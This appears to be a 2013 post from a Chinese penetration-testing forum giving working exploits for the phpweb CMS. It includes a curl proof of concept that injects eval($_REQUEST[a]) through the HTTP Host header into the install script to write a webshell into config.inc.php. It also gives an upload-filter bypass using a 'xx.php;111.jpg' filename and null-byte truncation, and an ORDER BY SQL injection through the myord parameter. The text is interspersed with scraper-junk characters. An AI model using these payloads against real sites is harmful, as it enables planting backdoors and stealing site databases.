中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
' c' W5 I/ U  r& W- j) j" t' H* z1 t* C) o7 u8 R% _8 n
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
2 _9 A4 m: O0 u: F4 [- W
2 p" h4 @5 v( f6 E- U  J5 ?鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
6 G2 B4 W' W: C! W4 u. P, H鸡肋2: 有一定安全常识的站长都会删掉 install 目录% m; d% O+ C' K! b6 R
4 t9 `( }* ^( s+ z  S5 Y
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- @3 O. {+ x5 I$ |9 M, a* m! d3 ^ ! `+ U  N' ?8 @9 `  E
分析:
* ~8 L+ @  b5 s
( M- O0 {; e! `
2 D, C$ l7 H# Z5 R' @$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤' [4 y2 W% y7 s' G
, e! I3 O$ i2 j- z7 H. o
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
- Y. |. P, J1 i4 t* b# [                                            $filestr=str_replace(" ","",$filestr);: l$ b8 M" i: S; @9 K
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
2 f: f- k4 K* r4 X: c; T8 _                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
& X- C7 \$ F+ M# X# m" K0 g9 A                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
) K( O* @2 H4 f- K& a2 q                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
* }) P& o; k8 x- }1 b                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);# ^' }& Y& d$ Y2 q+ |; l
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);+ }7 k2 B* w" n! m
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);7 ~1 R6 N8 z" {

8 @% D; K" U; U1 V) Y# @                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
* T6 ~; s% c3 F- w3 A" K$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 [. r$ M1 k( n+ A ) E& _' O' ~5 r( H
poc:
  j+ F& [7 F  ] $ a0 U- M5 j$ F4 C+ }
?  ^- Q- W9 S, C) G2 c0 D, W
1" C- q: O* V0 U2 G' t
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
6 L( K- q+ z5 O" e/ eshell地址: /config.inc.php7 d% S" f2 N' f* s+ N. q
跟之前的 phpcms一样 需要远程数据库
) @" \7 ?. ?0 L $ \: a* t- T* M9 }9 x
——————————————————–
" A2 b  p) h5 V; B. C: I- ^上传漏洞(需要进后台):0 e) j* Y3 ^9 x, j3 \( |+ C( r
漏洞文件: /kedit/upload_cgi/upload.php
( o* W8 ?8 A: j  N9 s. G) Q# ?4 @这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
5 Y" o( t% m% J & |5 B9 s' A3 d' V
" ]0 n0 D$ ?0 p: Q/ d; F3 C0 R
<?php  r( j$ f: }6 d  h2 H
    define("ROOTPATH", "../../");: |2 z* {3 f0 u8 N
    include(ROOTPATH."includes/admin.inc.php");
, k* T/ A, n% x+ l0 T    NeedAuth(0);. T+ B7 \. y! Y, X

0 C4 I4 f& X% G' \6 s" S5 e    $dt=date("Ymd",time());8 a" f( T; k. f2 z6 ~* C- z- x
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
+ W9 h0 d8 a& o$ R            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);0 k' W  c6 p" [* C  @
    }
) {" J/ T* a6 n2 [4 J 2 q1 L$ F0 Y6 a2 L/ c$ `
    //文件保存目录路径
% Y  w+ M, L% v    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" o4 S5 f, h* Q0 G0 f    echo $save_path;
: x! f. {3 V6 l. S% E6 ~* N    //文件保存目录URL
$ k) `- H, F' {6 D& J# ]/ A" e    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
; c! l. ?; G/ K. D* Q
' ]. M$ Z7 E7 \$ t1 M! j    //定义允许上传的文件扩展名7 q/ g" C' q- l
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
4 |6 K9 a4 J+ L3 o7 }( O' V$ G
4 y" w2 r+ N* _7 y# w# u1 s# @    //最大文件大小) d6 ^# K' t% |* W# d/ t, v
    $max_size = 1000000;! Q( m) ]; T6 g. I: J  c
( ?0 ?9 x3 C6 j9 h* B6 H4 d
    //更改目录权限; |6 r6 Z3 ?% R" ^
    @mkdir($save_path, 0777);3 A2 i3 {7 A, Y+ T& [% ]  g$ V( Z
) d1 [7 L( _- Z
    //文件的全部路径0 y8 N+ `* X+ _! B/ x1 d
    $file_path = $save_path.$_POST['fileName'];   //保存文件名0 K5 B: |; q, ^$ W: K
" G" W2 ?& c) |9 _* V5 s/ s
    //文件URL
, _; }1 L- z$ r- e' d9 i; K- w    $file_url = $save_url.$_POST['fileName'];
1 j7 W5 k/ ^% W: U//有上传文件时/ Y$ I8 y0 Y; E, X/ i
    if (empty($_FILES) === false) {, }  S4 O; `$ `0 {2 c# G7 G
& n% u  B* d6 r
            //原文件名
0 W3 [3 P2 R! A5 z5 R# ^! k            $file_name = $_FILES['fileData']['name'];
# w) C( L& J1 k; ?3 o7 n# M            //服务器上临时文件名4 t; P' `5 e" l+ y" U
            $tmp_name = $_FILES['fileData']['tmp_name'];
7 x! L/ F; }2 {& E) R8 t6 d            //文件大小4 e5 d" O( g9 b6 q
            $file_size = $_FILES['fileData']['size'];) e" H5 W8 N  t$ k
            //检查目录
, `1 c6 x, j$ j+ L9 \            if (@is_dir($save_path) === false) {
4 }) M2 Z: u1 @                    alert("上传目录不存在。");2 [4 ^& _' F9 ]  j/ x& m
            }6 J. L0 {2 g+ D8 d8 F
            //检查目录写权限0 \2 j8 t0 ^/ K/ H
            if (@is_writable($save_path) === false) {$ L+ T; A% {& l+ N6 \, U4 N  n/ k
                    alert("上传目录没有写权限。");
, D5 v. I2 X  L6 C  h            }
% l2 m/ w2 m# c3 ?: S" s4 J' d7 }            //检查是否已上传* [% t1 J. u( n4 ?2 _
            if (@is_uploaded_file($tmp_name) === false) {
( N. {0 A2 [% B0 J2 a                    alert("临时文件可能不是上传文件。");% w# B; |& m; A0 C  A
            }4 |  A  G4 d" g; ?
            //检查文件大小6 E& j9 s# m) z# P4 M
            if ($file_size > $max_size) {
% f4 X8 I! l6 z- }9 A                    alert("上传文件大小超过限制。");
- D/ B9 |0 I6 S1 _            }
  R7 [6 D1 D, d( a  v            //获得文件扩展名
& z7 ?" B; Y! a$ A; s6 m3 l  {+ p            $temp_arr = explode(".", $_POST['fileName']);
& o- t, @0 _$ n+ {% G, V* e            $file_ext = array_pop($temp_arr);# c: K0 C  E. d' l
            $file_ext = trim($file_ext);
( r3 h) @5 L  h0 G/ K            $file_ext = strtolower($file_ext);( x" ^  {8 O- L6 F/ ^
$ _( b4 `& h& [; i+ _: c* l
            //检查扩展名   1 J3 f7 ?+ E1 i# i8 _: P( V7 h
            if (in_array($file_ext, $ext_arr) === false) {     
/ ~  e2 \) p4 a3 M# w                    alert("上传文件扩展名是不允许的扩展名。");
: [; M- c3 A3 [: `- T            }
9 g" s; d( ~, M$ Z2 l+ ]5 B % e% J0 ]& e( F
            //移动文件   , o9 n3 m; n9 `+ Z  a  Y
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
; @2 q, p) M0 w+ f2 A            if (move_uploaded_file($tmp_name, $file_path) === false) {
0 P) j6 Z. r. Y# a9 f                    alert("上传文件失败。");
$ U' Q1 N2 l9 t3 X4 @! F+ Y! f            }
, M# ]5 o9 _* G8 a) _3 ]) p $ q1 {3 \5 Y) ?( M0 z9 W9 r1 s
            @chmod($file_path,0666);/ G5 a; g8 h3 a, \1 p% h0 h
4 `- x+ {) N3 L$ b0 p& J* g
    ?>- v8 U+ n# t* p& L1 R
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
4 e# y  c) ]) c
; _9 N" Q' m" o( q+ dapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过+ m3 c) r/ Y6 Q

) @9 `) Z- c  F, a9 }- s1 L——————————————————9 p, y5 q5 `* l7 R( v% W
注入漏洞:
$ K6 L1 c3 [: G' j漏洞文件:search/module/search.php
7 K9 _- \" a6 I' S/search/index.php?key=1&myord=1 [sqlinjection]0 V- I% _1 e% |8 s- }7 M9 ^

* \, g4 V8 i9 I% z  K" E* D$ k/ a ; E8 W( k7 `/ s# ?) i! M# {( `
<?php
% Z7 K1 U8 h+ A/ s   //       ... 省略 n 行...
: q# i% f9 j  i/ P( |   //第18行:
) h1 C9 X" q: S7 f! U' D           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响6 ?( ^5 a; s# F& v; _# S6 v$ C
           $page=htmlspecialchars($_GET["page"]);
3 }( N$ i0 N% ]: z* v3 Z- V8 `           $myord=htmlspecialchars($_GET["myord"]);4 X! Q7 X# j* y
4 y( }* {# |, d; F& R1 m8 L
   //       ... 省略 n 行...0 T8 V& K. l6 ~4 Y9 I
   $key,$myord 两个参数带入查询/ z( z* K6 J/ d7 J- w
   //第47行 $key:* k7 V$ m0 K0 p. x

/ l% y( c. a6 l& e9 O   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
: P& T% r6 I. o) s0 K: q( d! p 3 P: l" P! `! G
   //第197行 $myord% S5 I% ?6 i3 P, P
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入) P, t( F5 t* T0 |% C
% A% c8 \2 k- w3 B; L1 z
   ?>
* T' X% O4 o* f$ K, X4 m; q1 g  ?: M




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2